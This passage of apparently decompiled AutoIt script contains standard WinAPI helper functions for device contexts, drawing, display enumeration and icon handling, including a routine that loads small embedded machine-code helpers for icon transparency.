"6C2404807D0000740431C0EB05B80100000021C074168B5C2420031C2483C303" & "895C24048B6C2404C64500FF8304240471B6B801000000EB0231C083C4085B5D" & "C21000" ) ) ENDIF ENDIF RETURN $PPROC ENDFUNC #EndRegion Embedded DLL Functions #Region Internal Functions FUNC __INIT ($DDATA ) LOCAL $ILENGTH = BINARYLEN ($DDATA ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "ptr" , "VirtualAlloc" , "ptr" , 0 , "ulong_ptr" , $ILENGTH , "dword" , 4096 , "dword" , 64 ) IF @ERROR OR NOT $ARET [0 ] THEN __FATALEXIT (1 , "Error allocating memory." ) LOCAL $TDATA = DLLSTRUCTCREATE ("byte[" & $ILENGTH & "]" , $ARET [0 ] ) DLLSTRUCTSETDATA ($TDATA , 1 , $DDATA ) RETURN $ARET [0 ] ENDFUNC #EndRegion Internal Functions #Region Global Variables and Constants GLOBAL CONST $DI_MASK = 1 GLOBAL CONST $DI_IMAGE = 2 GLOBAL CONST $DI_NORMAL = 3 GLOBAL CONST $DI_COMPAT = 4 GLOBAL CONST $DI_DEFAULTSIZE = 8 GLOBAL CONST $DI_NOMIRROR = 16 GLOBAL CONST $DISPLAY_DEVICE_ATTACHED_TO_DESKTOP = 1 GLOBAL CONST $DISPLAY_DEVICE_MULTI_DRIVER = 2 GLOBAL CONST $DISPLAY_DEVICE_PRIMARY_DEVICE = 4 GLOBAL CONST $DISPLAY_DEVICE_MIRRORING_DRIVER = 8 GLOBAL CONST $DISPLAY_DEVICE_VGA_COMPATIBLE = 16 GLOBAL CONST $DISPLAY_DEVICE_REMOVABLE = 32 GLOBAL CONST $DISPLAY_DEVICE_DISCONNECT = 33554432 GLOBAL CONST $DISPLAY_DEVICE_REMOTE = 67108864 GLOBAL CONST $DISPLAY_DEVICE_MODESPRUNED = 134217728 #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions FUNC _WINAPI_CREATECOMPATIBLEDC ($HDC ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "handle" , "CreateCompatibleDC" , "handle" , $HDC ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_DELETEDC ($HDC ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "bool" , "DeleteDC" , "handle" , $HDC ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_DRAWEDGE ($HDC , $TRECT , $IEDGETYPE , $IFLAGS ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "DrawEdge" , "handle" , $HDC , "struct*" , $TRECT , "uint" , $IEDGETYPE , "uint" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_DRAWFRAMECONTROL ($HDC , $TRECT , $ITYPE , $ISTATE ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "DrawFrameControl" , "handle" , $HDC , "struct*" , $TRECT , "uint" , $ITYPE , "uint" , $ISTATE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_DRAWICON ($HDC , $IX , $IY , $HICON ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "DrawIcon" , "handle" , $HDC , "int" , $IX , "int" , $IY , "handle" , $HICON ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_DRAWICONEX ($HDC , $IX , $IY , $HICON , $IWIDTH = 0 , $IHEIGHT = 0 , $ISTEP = 0 , $HBRUSH = 0 , $IFLAGS = 3 ) LOCAL $IOPTIONS SWITCH $IFLAGS CASE 1 $IOPTIONS = $DI_MASK CASE 2 $IOPTIONS = $DI_IMAGE CASE 3 $IOPTIONS = $DI_NORMAL CASE 4 $IOPTIONS = $DI_COMPAT CASE 5 $IOPTIONS = $DI_DEFAULTSIZE CASE ELSE $IOPTIONS = $DI_NOMIRROR ENDSWITCH LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "DrawIconEx" , "handle" , $HDC , "int" , $IX , "int" , $IY , "handle" , $HICON , "int" , $IWIDTH , "int" , $IHEIGHT , "uint" , $ISTEP , "handle" , $HBRUSH , "uint" , $IOPTIONS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_DRAWTEXT ($HDC , $STEXT , BYREF $TRECT , $IFLAGS ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "DrawTextW" , "handle" , $HDC , "wstr" , $STEXT , "int" , + 4294967295 , "struct*" , $TRECT , "uint" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_ENUMDISPLAYDEVICES ($SDEVICE , $IDEVNUM ) LOCAL $TNAME = 0 , $IFLAGS = 0 , $ADEVICE [5 ] IF $SDEVICE <> "" THEN $TNAME = DLLSTRUCTCREATE ("wchar Text[" & STRINGLEN ($SDEVICE ) + 1 & "]" ) DLLSTRUCTSETDATA ($TNAME , "Text" , $SDEVICE ) ENDIF LOCAL CONST $TAGDISPLAY_DEVICE = "dword Size;wchar Name[32];wchar String[128];dword Flags;wchar ID[128];wchar Key[128]" LOCAL $TDEVICE = DLLSTRUCTCREATE ($TAGDISPLAY_DEVICE ) LOCAL $IDEVICE = DLLSTRUCTGETSIZE ($TDEVICE ) DLLSTRUCTSETDATA ($TDEVICE , "Size" , $IDEVICE ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "EnumDisplayDevicesW" , "struct*" , $TNAME , "dword" , $IDEVNUM , "struct*" , $TDEVICE , "dword" , 1 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $IN = DLLSTRUCTGETDATA ($TDEVICE , "Flags" ) IF BITAND ($IN , $DISPLAY_DEVICE_ATTACHED_TO_DESKTOP ) <> 0 THEN $IFLAGS = BITOR ($IFLAGS , 1 ) IF BITAND ($IN , $DISPLAY_DEVICE_PRIMARY_DEVICE ) <> 0 THEN $IFLAGS = BITOR ($IFLAGS , 2 ) IF BITAND ($IN , $DISPLAY_DEVICE_MIRRORING_DRIVER ) <> 0 THEN $IFLAGS = BITOR ($IFLAGS , 4 ) IF BITAND ($IN , $DISPLAY_DEVICE_VGA_COMPATIBLE ) <> 0 THEN $IFLAGS = BITOR ($IFLAGS , 8 ) IF BITAND ($IN , $DISPLAY_DEVICE_REMOVABLE ) <> 0 THEN $IFLAGS = BITOR ($IFLAGS , 16 ) IF BITAND ($IN , $DISPLAY_DEVICE_MODESPRUNED ) <> 0 THEN $IFLAGS = BITOR ($IFLAGS , 32 ) $ADEVICE [0 ] = TRUE $ADEVICE [1 ] = DLLSTRUCTGETDATA ($TDEVICE , "Name" ) $ADEVICE [2 ] = DLLSTRUCTGETDATA ($TDEVICE , "String" ) $ADEVICE [3 ] = $IFLAGS $ADEVICE [4 ] = DLLSTRUCTGETDATA ($TDEVICE , "ID" ) RETURN $ADEVICE ENDFUNC FUNC _WINAPI_FILLRECT ($HDC , $TRECT , $HBRUSH ) LOCAL $ARESULT IF ISPTR ($HBRUSH ) THEN $ARESULT = DLLCALL ("user32.dll" , "int" , "FillRect" , "handle" , $HDC , "struct*" , $TRECT , "handle" , $HBRUSH ) ELSE $ARESULT = DLLCALL ("user32.dll" , "int" , "FillRect" , "handle" , $HDC , "struct*" , $TRECT , "dword_ptr" , $HBRUSH ) ENDIF IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_FRAMERECT ($HDC , $TRECT , $HBRUSH ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "FrameRect" , "handle" , $HDC , "struct*" , $TRECT , "handle" , $HBRUSH ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETBKMODE ($HDC ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "int" , "GetBkMode" , "handle" , $HDC ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETDC ($HWND ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "handle" , "GetDC" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETDCEX ($HWND , $HRGN , $IFLAGS ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "GetDCEx" , "hwnd" , $HWND , "handle" , $HRGN , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETDEVICECAPS ($HDC , $IINDEX ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "int" , "GetDeviceCaps" , "handle" , $HDC , "int" , $IINDEX ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETTEXTCOLOR ($HDC ) LOCAL $ARET = DLLCALL ("gdi32.dll" , "dword" , "GetTextColor" , "handle" , $HDC ) IF @ERROR OR ($ARET [0 ] = 0xFFFFFFFF ) THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN __RGB ($ARET [0 ] ) ENDFUNC FUNC _WINAPI_GETWINDOWDC ($HWND ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "handle" , "GetWindowDC" , "hwnd" , $HWND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_PRINTWINDOW ($HWND , $HDC , $BCLIENT = FALSE ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "PrintWindow" , "hwnd" , $HWND , "handle" , $HDC , "uint" , $BCLIENT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_RELEASEDC ($HWND , $HDC ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "int" , "ReleaseDC" , "hwnd" , $HWND , "handle" , $HDC ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_RESTOREDC ($HDC , $IID ) LOCAL $ARET = DLLCALL ("gdi32.dll" , "bool" , "RestoreDC" , "handle" , $HDC , "int" , $IID ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SAVEDC ($HDC ) LOCAL $ARET = DLLCALL ("gdi32.dll" , "int" , "SaveDC" , "handle" , $HDC ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SETBKCOLOR ($HDC , $ICOLOR ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "INT" , "SetBkColor" , "handle" , $HDC , "INT" , $ICOLOR ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETBKMODE ($HDC , $IBKMODE ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "int" , "SetBkMode" , "handle" , $HDC , "int" , $IBKMODE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_SETTEXTCOLOR ($HDC , $ICOLOR ) LOCAL $ARESULT = DLLCALL ("gdi32.dll" , "INT" , "SetTextColor" , "handle" , $HDC , "INT" , $ICOLOR ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_TWIPSPERPIXELX () LOCAL $HDC , $ITWIPSPERPIXELX $HDC = _WINAPI_GETDC (0 ) LOCAL CONST $__WINAPICONSTANT_LOGPIXELSX = 88 $ITWIPSPERPIXELX = 1440 / _WINAPI_GETDEVICECAPS ($HDC , $__WINAPICONSTANT_LOGPIXELSX ) _WINAPI_RELEASEDC (0 , $HDC ) RETURN $ITWIPSPERPIXELX ENDFUNC FUNC _WINAPI_TWIPSPERPIXELY () LOCAL $HDC , $ITWIPSPERPIXELY $HDC = _WINAPI_GETDC (0 ) LOCAL CONST $__WINAPICONSTANT_LOGPIXELSY = 90 $ITWIPSPERPIXELY = 1440 / _WINAPI_GETDEVICECAPS ($HDC , $__WINAPICONSTANT_LOGPIXELSY ) _WINAPI_RELEASEDC (0 , $HDC ) RETURN $ITWIPSPERPIXELY ENDFUNC #EndRegion Public Functions #Region Internal Functions #EndRegion Internal Functions #Region Global Variables and Constants #EndRegion Global Variables and Constants #Region Functions list #EndRegion Functions list #Region Public Functions GLOBAL CONST $TAGICONINFO = "bool Icon;dword XHotSpot;dword YHotSpot;handle hMask;handle hColor" FUNC _WINAPI_ADDICONTRANSPARENCY ($HICON , $IPERCENT = 50 , $BDELETE = FALSE ) LOCAL $TBITMAP , $HDIB = 0 , $HRESULT = 0 LOCAL $AHBITMAP [2 ] LOCAL $TICONINFO = DLLSTRUCTCREATE ($TAGICONINFO ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetIconInfo" , "handle" , $HICON , "struct*" , $TICONINFO ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) FOR $I = 0 TO 1 $AHBITMAP [$I ] = DLLSTRUCTGETDATA ($TICONINFO , $I + 4 ) NEXT LOCAL $IERROR = 0 DO $HDIB = _WINAPI_COPYBITMAP ($AHBITMAP [1 ] ) IF NOT $HDIB THEN $IERROR = 20 EXITLOOP ENDIF $TBITMAP = DLLSTRUCTCREATE ($TAGBITMAP ) IF (NOT _WINAPI_GETOBJECT ($HDIB , DLLSTRUCTGETSIZE ($TBITMAP ) , $TBITMAP ) ) OR (DLLSTRUCTGETDATA ($TBITMAP , "bmBitsPixel" ) <> 32 ) THEN $IERROR = 21 EXITLOOP ENDIF $ARET = DLLCALL ("user32.dll" , "lresult" , "CallWindowProc" , "PTR" , __TRANSPARENCYPROC () , "hwnd" , 0 , "uint" , $IPERCENT , "wparam" , DLLSTRUCTGETPTR ($TBITMAP ) , "lparam" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN $IERROR = @ERROR + 30 EXITLOOP ENDIF IF $ARET [0 ] = + 4294967295 THEN $HRESULT = _WINAPI_CREATEEMPTYICON (DLLSTRUCTGETDATA ($TBITMAP , "bmWidth" ) , DLLSTRUCTGETDATA ($TBITMAP , "bmHeight" ) ) ELSE $HRESULT = _WINAPI_CREATEICONINDIRECT ($HDIB , $AHBITMAP [0 ] ) ENDIF IF NOT $HRESULT THEN $IERROR = 22 UNTIL 1 IF $HDIB THEN _WINAPI_DELETEOBJECT ($HDIB ) ENDIF FOR $I = 0 TO 1 IF $AHBITMAP [$I ] THEN _WINAPI_DELETEOBJECT ($AHBITMAP [$I ] ) ENDIF NEXT IF $IERROR THEN RETURN SETERROR ($IERROR , 0 , 0 ) IF $BDELETE THEN _WINAPI_DESTROYICON ($HICON ) ENDIF RETURN $HRESULT ENDFUNC FUNC _WINAPI_COPYICON ($HICON ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "handle" , "CopyIcon" , "handle" , $HICON ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_CREATE32BITHICON ($HICON , $BDELETE = FALSE ) LOCAL $AHBITMAP [2 ] , $HRESULT = 0 LOCAL $ADIB [2 ] [2 ] = [[0 , 0 ] , [0 , 0 ] ] LOCAL $TICONINFO = DLLSTRUCTCREATE ($TAGICONINFO ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetIconInfo" , "handle" , $HICON , "struct*" , $TICONINFO ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , 0 , 0 ) FOR $I = 0 TO 1 $AHBITMAP [$I ] = DLLSTRUCTGETDATA ($TICONINFO , $I + 4 ) NEXT IF _WINAPI_ISALPHABITMAP ($AHBITMAP [1 ] ) THEN $ADIB [0 ] [0 ] = _WINAPI_CREATEANDBITMAP ($AHBITMAP [1 ] ) IF NOT @ERROR THEN $HRESULT = _WINAPI_CREATEICONINDIRECT ($AHBITMAP [1 ] , $ADIB [0 ] [0 ] ) ENDIF ELSE LOCAL $TSIZE = _WINAPI_GETBITMAPDIMENSION ($AHBITMAP [1 ] ) LOCAL $ASIZE [2 ] FOR $I = 0 TO 1 $ASIZE [$I ] = DLLSTRUCTGETDATA ($TSIZE , $I + 1 ) NEXT LOCAL $HSRCDC = _WINAPI_CREATECOMPATIBLEDC (0 ) LOCAL $HDSTDC = _WINAPI_CREATECOMPATIBLEDC (0 ) LOCAL $HSRCSV , $HDSTSV FOR $I = 0 TO 1 $ADIB [$I ] [0 ] = _WINAPI_CREATEDIB ($ASIZE [0 ] , $ASIZE [1 ] ) $ADIB [$I ] [1 ] = $__G_VEXT $HSRCSV = _WINAPI_SELECTOBJECT ($HSRCDC , $AHBITMAP [$I ] ) $HDSTSV = _WINAPI_SELECTOBJECT ($HDSTDC , $ADIB [$I ] [0 ] ) _WINAPI_BITBLT ($HDSTDC , 0 , 0 , $ASIZE [0 ] , $ASIZE [1 ] , $HSRCDC , 0 , 0 , 12583114 ) _WINAPI_SELECTOBJECT ($HSRCDC , $HSRCSV ) _WINAPI_SELECTOBJECT ($HDSTDC , $HDSTSV ) NEXT _WINAPI_DELETEDC ($HSRCDC ) _WINAPI_DELETEDC ($HDSTDC ) $ARET = DLLCALL ("user32.dll" , "lresult" , "CallWindowProc" , "ptr" , __XORPROC () , "ptr" , 0 , "uint" , $ASIZE [0 ] * $ASIZE [1 ] * 4 , "wparam" , $ADIB [0 ] [1 ] , "lparam" , $ADIB [1 ] [1 ] ) IF NOT @ERROR AND $ARET [0 ] THEN $HRESULT = _WINAPI_CREATEICONINDIRECT ($ADIB [1 ] [0 ] , $AHBITMAP [0 ] ) ENDIF ENDIF FOR $I = 0 TO 1 _WINAPI_DELETEOBJECT ($AHBITMAP [$I ] ) IF $ADIB [$I ] [0 ] THEN _WINAPI_DELETEOBJECT ($ADIB [$I ] [0 ] ) ENDIF NEXT IF NOT $HRESULT THEN RETURN SETERROR (11 , 0 , 0 ) IF $BDELETE THEN _WINAPI_DESTROYICON ($HICON ) ENDIF RETURN $HRESULT ENDFUNC FUNC _WINAPI_CREATEEMPTYICON ($IWIDTH , $IHEIGHT , $IBITSPERPEL = 32 ) LOCAL $HXOR = _WINAPI_CREATEDIB ($IWIDTH , $IHEIGHT , $IBITSPERPEL ) LOCAL $HAND = _WINAPI_CREATEDIB ($IWIDTH , $IHEIGHT , 1 ) LOCAL $HDC = _WINAPI_CREATECOMPATIBLEDC (0 ) LOCAL $HSV = _WINAPI_SELECTOBJECT ($HDC , $HAND ) LOCAL $HBRUSH = _WINAPI_CREATESOLIDBRUSH (16777215 ) LOCAL $TRECT = _WINAPI_CREATERECT (0 , 0 , $IWIDTH , $IHEIGHT ) _WINAPI_FILLRECT ($HDC , $TRECT , $HBRUSH ) _WINAPI_DELETEOBJECT ($HBRUSH ) _WINAPI_SELECTOBJECT ($HDC , $HSV ) _WINAPI_DELETEDC ($HDC ) LOCAL $HICON = _WINAPI_CREATEICONINDIRECT ($HXOR , $HAND ) LOCAL $IERROR = @ERROR IF $HXOR THEN _WINAPI_DELETEOBJECT ($HXOR ) ENDIF IF $HAND THEN _WINAPI_DELETEOBJECT ($HAND ) ENDIF IF NOT $HICON THEN RETURN SETERROR ($IERROR + 10 , 0 , 0 ) RETURN $HICON ENDFUNC FUNC _WINAPI_CREATEICON ($HINSTANCE , $IWIDTH , $IHEIGHT , $IPLANES , $IBITSPIXEL , $PANDBITS , $PXORBITS ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "CreateIcon" , "handle" , $HINSTANCE , "int" , $IWIDTH , "int" , $IHEIGHT , "byte" , $IPLANES , "byte" , $IBITSPIXEL , "struct*" , $PANDBITS , "struct*" , $PXORBITS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CREATEICONFROMRESOURCEEX ($PDATA , $ISIZE , $BICON = TRUE , $IXDESIREDPIXELS = 0 , $IYDESIREDPIXELS = 0 , $IFLAGS = 0 ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "CreateIconFromResourceEx" , "ptr" , $PDATA , "dword" , $ISIZE , "bool" , $BICON , "dword" , 196608 , "int" , $IXDESIREDPIXELS , "int" , $IYDESIREDPIXELS , "uint" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CREATEICONINDIRECT ($HBITMAP , $HMASK , $IXHOTSPOT = 0 , $IYHOTSPOT = 0 , $BICON = TRUE ) LOCAL $TICONINFO = DLLSTRUCTCREATE ($TAGICONINFO ) DLLSTRUCTSETDATA ($TICONINFO , 1 , $BICON ) DLLSTRUCTSETDATA ($TICONINFO , 2 , $IXHOTSPOT ) DLLSTRUCTSETDATA ($TICONINFO , 3 , $IYHOTSPOT ) DLLSTRUCTSETDATA ($TICONINFO , 4 , $HMASK ) DLLSTRUCTSETDATA ($TICONINFO , 5 , $HBITMAP ) LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "CreateIconIndirect" , "struct*" , $TICONINFO ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_DESTROYICON ($HICON ) LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "DestroyIcon" , "handle" , $HICON ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_EXTRACTICON ($SICON , $IINDEX , $BSMALL = FALSE ) LOCAL $PLARGE , $PSMALL , $TPTR = DLLSTRUCTCREATE ("ptr" ) IF $BSMALL THEN $PLARGE = 0 $PSMALL = DLLSTRUCTGETPTR ($TPTR ) ELSE $PLARGE = DLLSTRUCTGETPTR ($TPTR ) $PSMALL = 0 ENDIF DLLCALL ("shell32.dll" , "uint" , "ExtractIconExW" , "wstr" , $SICON , "int" , $IINDEX , "ptr" , $PLARGE , "ptr" , $PSMALL , "uint" , 1 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN DLLSTRUCTGETDATA ($TPTR , 1 ) ENDFUNC FUNC _WINAPI_EXTRACTICONEX ($SFILEPATH , $IINDEX , $PALARGE , $PASMALL , $IICONS ) LOCAL $ARESULT = DLLCALL ("shell32.dll" , "uint" , "ExtractIconExW" , "wstr" , $SFILEPATH , "int" , $IINDEX , "struct*" , $PALARGE , "struct*" , $PASMALL , "uint" , $IICONS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_FILEICONINIT ($BRESTORE = TRUE ) LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , 660 , "int" , $BRESTORE ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_GETICONDIMENSION ($HICON ) LOCAL $TICONINFO = DLLSTRUCTCREATE ($TAGICONINFO ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetIconInfo" , "handle" , $HICON , "struct*" , $TICONINFO ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $TSIZE = _WINAPI_GETBITMAPDIMENSION (DLLSTRUCTGETDATA ($TICONINFO , 5 ) ) FOR $I = 4 TO 5 _WINAPI_DELETEOBJECT (DLLSTRUCTGETDATA ($TICONINFO , $I ) ) NEXT IF NOT ISDLLSTRUCT ($TSIZE ) THEN RETURN SETERROR (20 , 0 , 0 ) RETURN $TSIZE ENDFUNC FUNC _WINAPI_GETICONINFO ($HICON ) LOCAL $TINFO = DLLSTRUCTCREATE ($TAGICONINFO ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetIconInfo" , "handle" , $HICON , "struct*" , $TINFO ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $AICON [6 ] $AICON [0 ] = TRUE $AICON [1 ] = DLLSTRUCTGETDATA ($TINFO , "Icon" ) <> 0 $AICON [2 ] = DLLSTRUCTGETDATA ($TINFO , "XHotSpot" ) $AICON [3 ] = DLLSTRUCTGETDATA ($TINFO , "YHotSpot" ) $AICON [4 ] = DLLSTRUCTGETDATA ($TINFO , "hMask" ) $AICON [5 ] = DLLSTRUCTGETDATA ($TINFO , "hColor" ) RETURN $AICON ENDFUNC FUNC _WINAPI_GETICONINFOEX ($HICON ) LOCAL $TIIEX = DLLSTRUCTCREATE ("dword;int;dword;dword;ptr;ptr;ushort;wchar[260];wchar[260]" ) DLLSTRUCTSETDATA ($TIIEX , 1 , DLLSTRUCTGETSIZE ($TIIEX ) ) LOCAL $ARET = DLLCALL ("user32.dll" , "bool" , "GetIconInfoExW" , "handle" , $HICON , "struct*" , $TIIEX ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ARESULT [8 ] FOR $I = 0 TO 7 $ARESULT [$I ] = DLLSTRUCTGETDATA ($TIIEX , $I + 2 ) NEXT RETURN $ARESULT ENDFUNC FUNC _WINAPI_LOADICON ($HINSTANCE , $SNAME ) LOCAL $STYPEOFNAME = "int" IF ISSTRING ($SNAME ) THEN $STYPEOFNAME = "wstr" ENDIF LOCAL $ARET = DLLCALL ("user32.dll" , "handle" , "LoadIconW" , "handle" , $HINSTANCE , $STYPEOFNAME , $SNAME ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_LOADICONMETRIC ($HINSTANCE , $SNAME , $IMETRIC ) LOCAL $STYPEOFNAME = "int" IF ISSTRING ($SNAME ) THEN $STYPEOFNAME = "wstr" ENDIF LOCAL $ARET = DLLCALL ("comctl32.dll" , "long" , "LoadIconMetric" , "handle" , $HINSTANCE , $STYPEOFNAME , $SNAME , "int" , $IMETRIC , "handle*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN $ARET [4 ] ENDFUNC FUNC _WINAPI_LOADICONWITHSCALEDOWN ($HINSTANCE , $SNAME , $IWIDTH , $IHEIGHT ) LOCAL $STYPEOFNAME = "int" IF ISSTRING ($SNAME ) THEN $STYPEOFNAME = "wstr" ENDIF LOCAL $ARET = DLLCALL ("comctl32.dll" , "long" , "LoadIconWithScaleDown" , "handle" , $HINSTANCE , $STYPEOFNAME , $SNAME , "int" , $IWIDTH , "int" , $IHEIGHT , "handle*" , 0 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN $ARET [5 ] ENDFUNC FUNC _WINAPI_LOADSHELL32ICON ($IICONID ) LOCAL $TICONS = DLLSTRUCTCREATE ("ptr Data" ) LOCAL $IICONS = _WINAPI_EXTRACTICONEX ("shell32.dll" , $IICONID , 0 , $TICONS , 1 ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $IICONS <= 0 THEN RETURN SETERROR (10 , 0 , 0 ) RETURN DLLSTRUCTGETDATA ($TICONS , "Data" ) ENDFUNC FUNC _WINAPI_LOOKUPICONIDFROMDIRECTORYEX ($PDATA , $BICON = TRUE , $IXDESIREDPIXELS = 0 , $IYDESIREDPIXELS = 0 , $IFLAGS = 0 ) LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "LookupIconIdFromDirectoryEx" , "ptr" , $PDATA , "bool" , $BICON , "int" , $IXDESIREDPIXELS , "int" , $IYDESIREDPIXELS , "uint" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_MIRRORICON ($HICON , $BDELETE = FALSE ) IF NOT $BDELETE THEN $HICON = _WINAPI_COPYICON ($HICON ) ENDIF LOCAL $ARET = DLLCALL ("comctl32.dll" , "int" , 414 , "ptr" , 0 , "ptr*" , $HICON ) IF @ERROR OR NOT $ARET [0 ] THEN LOCAL $IERROR = @ERROR + 10 IF $HICON AND NOT $BDELETE THEN _WINAPI_DESTROYICON ($HICON ) ENDIF RETURN SETERROR ($IERROR , 0 , 0 ) ENDIF RETURN $ARET [2 ] ENDFUNC #EndRegion Public Functions #Region Embedded DLL Functions FUNC 